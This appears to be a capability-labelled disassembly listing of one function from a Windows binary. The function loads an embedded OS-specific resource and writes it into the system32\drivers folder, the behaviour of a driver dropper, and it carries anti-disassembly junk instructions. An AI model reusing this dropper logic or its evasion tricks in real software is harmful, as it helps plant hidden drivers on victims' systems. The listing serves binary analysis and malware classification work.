Function at 0x4386c0
Capabilities:
Create directory
Extract resource via kernel32 functions
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4811d8
push eax
mov eax, 0x10034
mov dword fs:[0], esp
call fcn.00426320
push ebx
push esi
push edi
push eax
xor eax, eax
pop eax
je 0x4386ed
invalid
mov al, byte [ebp + 8]
push 0x4a7a1c
test al, al
je 0x438700
push str.IDR_BIN_WXP
jmp 0x438705
push str.IDR_BIN_W2K
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4391e3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
mov dword [ebp + 8], eax
je 0x4391e3
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4391e3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
mov dword [ebp - 0x40], eax
je 0x4391e3
mov al, byte [0x4ba188]
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.00401760
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba188
lea ecx, [ebp - 0x1c]
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 0
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4ba410
call fcn.004103c0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4387bc
mov eax, 0x482818
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.00401760
mov al, byte [0x4ba188]
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], al
call fcn.00401760
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba188
lea ecx, [ebp - 0x1c]
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4ba420
call fcn.004103c0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x438876
mov eax, 0x482818
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push eax
call esi
push eax
xor eax, eax
pop eax
je 0x43888c
invalid
push 0x4af4d4
mov ecx, 0x4ba1a8
call fcn.00411bc0
test eax, eax
je 0x438958
push 0x4af4d4
lea ecx, [ebp - 0x1c]
call fcn.00411bc0
test eax, eax
je 0x438958
mov eax, dword [0x4ba1ac]
test eax, eax
jne 0x4388c6
mov eax, 0x482818
push 0x4a3f08
push eax
call fcn.00427615
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x438958
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4388e6
mov eax, 0x482818
push 0x4a3f04
push eax
call fcn.00427615
mov edi, eax
add esp, 8
test edi, edi
je 0x438942
push ebx
push 0x10000
lea ecx, [ebp - 0x10040]
push 1
push ecx
call fcn.004274cd
mov esi, eax
add esp, 0x10
cmp esi, 0x10000
je 0x438921
test byte [ebx + 0xc], 0x10
je 0x43893c
test esi, esi
je 0x43893c
push edi
push esi
lea edx, [ebp - 0x10040]
push 1
push edx
call fcn.00427394
add esp, 0x10
cmp eax, esi
je 0x4388fa
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
call fcn.00427317
add esp, 4
test edi, edi
je 0x438958
push edi
call fcn.00427317
add esp, 4
push 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.00401760
mov al, byte [0x4ba188]
push 0
lea ecx, [ebp - 0x3c]
mov byte [ebp - 0x3c], al
call fcn.00401760
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba188
lea ecx, [ebp - 0x3c]
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 2
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x3c]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x3c]
push edx
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x3c]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x3c]
push eax
push 0
push 0x4ba430
call fcn.004103c0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x438a09
mov eax, 0x482818
push 0x80
push eax
call esi
mov cl, byte [0x4ba188]
push 0
mov byte [ebp - 0x1c], cl
lea ecx, [ebp - 0x1c]
call fcn.00401760
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4ba188
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 3
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba420
lea ecx, [ebp - 0x1c]
call fcn.004103c0
lea edx, [ebp - 0x1c]
lea eax, [ebp - 0x3c]
push edx
push eax
call fcn.00436090
test al, al
je 0x438dc5
mov edi, 0x4af4d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [0x4ba0b0]
push 0x4af4d4
push ecx
push eax
mov ecx, 0x4ba0a8
call fcn.00408280
test eax, eax
je 0x438c38
mov dl, byte [0x4ba0a8]
push 0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], dl
call fcn.00401760
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x2c]
push eax
push 0
push 0x4ba0a8
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x2c]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba490
lea ecx, [ebp - 0x2c]
call fcn.004103c0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x438b52
mov eax, 0x482818
push 0x80
push eax
call esi
push eax
xor eax, eax
pop eax
je 0x438b62
invalid
push 0x4af4d4
lea ecx, [ebp - 0x3c]
call fcn.00411bc0
test eax, eax
je 0x438c24
push 0x4af4d4
lea ecx, [ebp - 0x2c]
call fcn.00411bc0
test eax, eax
je 0x438c24
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x438b98
mov eax, 0x482818
push 0x4a3f08
push eax
call fcn.00427615
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x438c24
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x438bb8
mov eax, 0x482818
push 0x4a3f04
push eax
call fcn.00427615
mov edi, eax
add esp, 8
test edi, edi
je 0x438c0e
push ebx
push 0x10000
lea edx, [ebp - 0x10040]
push 1
push edx
call fcn.004274cd
mov esi, eax
add esp, 0x10
cmp esi, 0x10000
je 0x438bf3
test byte [ebx + 0xc], 0x10
je 0x438c0e
test esi, esi
je 0x438c0e
push edi
push esi
lea eax, [ebp - 0x10040]
push 1
push eax
call fcn.00427394
add esp, 0x10
cmp eax, esi
je 0x438bcc
push ebx
call fcn.00427317
add esp, 4
test edi, edi
je 0x438c24
push edi
call fcn.00427317
add esp, 4
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.00401760
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov al, byte [0x4ba295]
test al, al
jne 0x438dc5
mov edi, 0x4af4d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [0x4ba220]
push 0x4af4d4
push ecx
push eax
mov ecx, 0x4ba218
call fcn.00408280
test eax, eax
je 0x438dc5
mov dl, byte [0x4ba218]
push 0
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], dl
call fcn.00401760
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x2c]
push eax
push 0
push 0x4ba218
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp - 4], 5
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x2c]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba490
lea ecx, [ebp - 0x2c]
call fcn.004103c0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x438cdf
mov eax, 0x482818
push 0x80
push eax
call esi
push eax
xor eax, eax
pop eax
je 0x438cef
invalid
push 0x4af4d4
lea ecx, [ebp - 0x3c]
call fcn.00411bc0
test eax, eax
je 0x438db1
push 0x4af4d4
lea ecx, [ebp - 0x2c]
call fcn.00411bc0
test eax, eax
je 0x438db1
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x438d25
mov eax, 0x482818
push 0x4a3f08
push eax
call fcn.00427615
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x438db1
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x438d45
mov eax, 0x482818
push 0x4a3f04
push eax
call fcn.00427615
mov edi, eax
add esp, 8
test edi, edi
je 0x438d9b
push ebx
push 0x10000
lea edx, [ebp - 0x10040]
push 1
push edx
call fcn.004274cd
mov esi, eax
add esp, 0x10
cmp esi, 0x10000
je 0x438d80
test byte [ebx + 0xc], 0x10
je 0x438d9b
test esi, esi
je 0x438d9b
push edi
push esi
lea eax, [ebp - 0x10040]
push 1
push eax
call fcn.00427394
add esp, 0x10
cmp eax, esi
je 0x438d59
push ebx
call fcn.00427317
add esp, 4
test edi, edi
je 0x438db1
push edi
call fcn.00427317
add esp, 4
push 1
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 3
call fcn.00401760
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call fcn.00401760
push 1
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 0xffffffff
call fcn.00401760
mov edi, 0x4af4d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
mov ecx, dword [0x4ba4e0]
push 0x4af4d4
push ecx
push eax
mov ecx, 0x4ba4d8
call fcn.00408280
test eax, eax
je 0x438f0b
mov dl, byte [0x4ba188]
push 0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0x1c], dl
call fcn.00401760
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4ba188
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 6
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba410
lea ecx, [ebp - 0x1c]
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4ba450
call fcn.004103c0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x438eb4
mov eax, 0x482818
push 0x80
push eax
call esi
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x438ec8
mov eax, 0x482818
push 0x4a3f04
push eax
call fcn.00427615
mov esi, eax
add esp, 8
test esi, esi
je 0x438efa
mov eax, dword [0x4ba4e0]
mov ecx, dword [0x4ba4dc]
push esi
push eax
push 1
push ecx
call fcn.00427394
push esi
call fcn.00427317
add esp, 0x14
push 1
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0xffffffff
call fcn.00401760
mov edi, 0x4af4d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov eax, dword [0x4ba4d0]
not ecx
dec ecx
push ecx
push 0x4af4d4
push eax
push 0
mov ecx, 0x4ba4c8
call fcn.00408280
test eax, eax
je 0x439050
mov cl, byte [0x4ba188]
push 0
mov byte [ebp - 0x1c], cl
lea ecx, [ebp - 0x1c]
call fcn.00401760
mov edx, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push edx
push 0
push 0x4ba188
call fcn.004073c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 7
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov eax, dword [0x484bc8]
lea ecx, [ebp - 0x1c]
push eax
push 0
push 0x4ba410
call fcn.004103c0
mov edi, 0x4a3f0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4a3f0c
lea ecx, [ebp - 0x1c]
call fcn.00418ca0
mov ecx, dword [0x484bc8]
push ecx
push 0
push 0x4ba470
lea ecx, [ebp - 0x1c]
call fcn.004103c0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x438fdb
mov eax, 0x482818
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x438ff3
mov eax, 0x482818
push 0x4a3f04
push eax
call fcn.00427615
mov esi, eax
add esp, 8
test esi, esi
je 0x439025
mov eax, dword [0x4ba4d0]
mov ecx, dword [0x4ba4cc]
push esi
push eax
push 1
push ecx
call fcn.00427394
push esi
call fcn.00427317
add esp, 0x14
mov eax, dword [ebp - 0x18]
mov dword [ebp - 4], 0xffffffff
test eax, eax
je 0x439050
lea ecx, [eax - 1]
mov al, byte [eax - 1]
test al, al
je 0x439047
cmp al, 0xff
je 0x439047
dec al
mov byte [ecx], al
jmp 0x439050
push ecx
call fcn.00478980
add esp, 4
mov eax, dword [0x484bc8]
mov dl, byte [0x4ba188]
xor ebx, ebx
push eax
push ebx
push 0x4ba188
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], dl
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call fcn.004073c0
mov edi, str._system32drivers_
or ecx, 0xffffffff
xor eax, eax
mov dword [ebp - 4], 8
repne scasb al, byte es:[edi]
mov eax, dword [0x484bc8]
mov edi, dword [ebp - 0x24]
not ecx
dec ecx
mov esi, ecx
mov ecx, eax
sub ecx, edi
cmp ecx, esi
ja 0x4390aa
call fcn.0046d8e0
mov eax, dword [0x484bc8]
cmp esi, ebx
jbe 0x4390f0
mov edx, dword [ebp - 0x24]
push 0
lea ecx, [ebp - 0x2c]
lea ebx, [edx + esi]
push ebx
call fcn.00401800
test al, al
je 0x4390eb
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov ecx, esi
mov esi, str._system32drivers_
lea edi, [edx + eax]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x24], ebx
mov byte [ecx + ebx], 0
mov eax, dword [0x484bc8]
mov ecx, dword [0x4ba3d8]
mov edi, eax
cmp ecx, edi
jae 0x4390fe
mov edi, ecx
sub eax, dword [ebp - 0x24]
cmp eax, edi
ja 0x43910a
call fcn.0046d8e0
test edi, edi
jbe 0x439154
mov edx, dword [ebp - 0x24]
push 0
lea ecx, [ebp - 0x2c]
lea ebx, [edx + edi]
push ebx
call fcn.00401800
test al, al
je 0x439154
mov esi, dword [0x4ba3d4]
test esi, esi
jne 0x439132
mov esi, 0x482818
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov ecx, edi
push ebx
lea edi, [edx + eax]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x2c]
call fcn.004078b0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x439160
mov eax, 0x482818
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x439178
mov eax, 0x482818
push 0x4a3f04
push eax
call fcn.00427615
mov esi, eax
add esp, 8
test esi, esi
je 0x4391ac
mov edi, dword [ebp + 8]
mov ecx, dword [ebp - 0x40]
push esi
push edi
push 1
push ecx
call fcn.00427394
add esp, 0x10
cmp eax, edi
push esi
je 0x4391f9
call fcn.00427317
add esp, 4
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x4391e3
mov al, byte [ecx - 1]
test al, al
je 0x4391d9
cmp al, 0xff
je 0x4391d9
dec al
mov byte [ecx - 1], al
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
dec ecx
push ecx
call fcn.00478980
add esp, 4
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.00427317
mov ecx, dword [ebp - 0x28]
add esp, 4
test ecx, ecx
je 0x439224
mov al, byte [ecx - 1]
test al, al
je 0x43921a
cmp al, 0xff
je 0x43921a
dec al
mov byte [ecx - 1], al
jmp 0x439224
dec ecx
push ecx
call fcn.00478980
add esp, 4
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4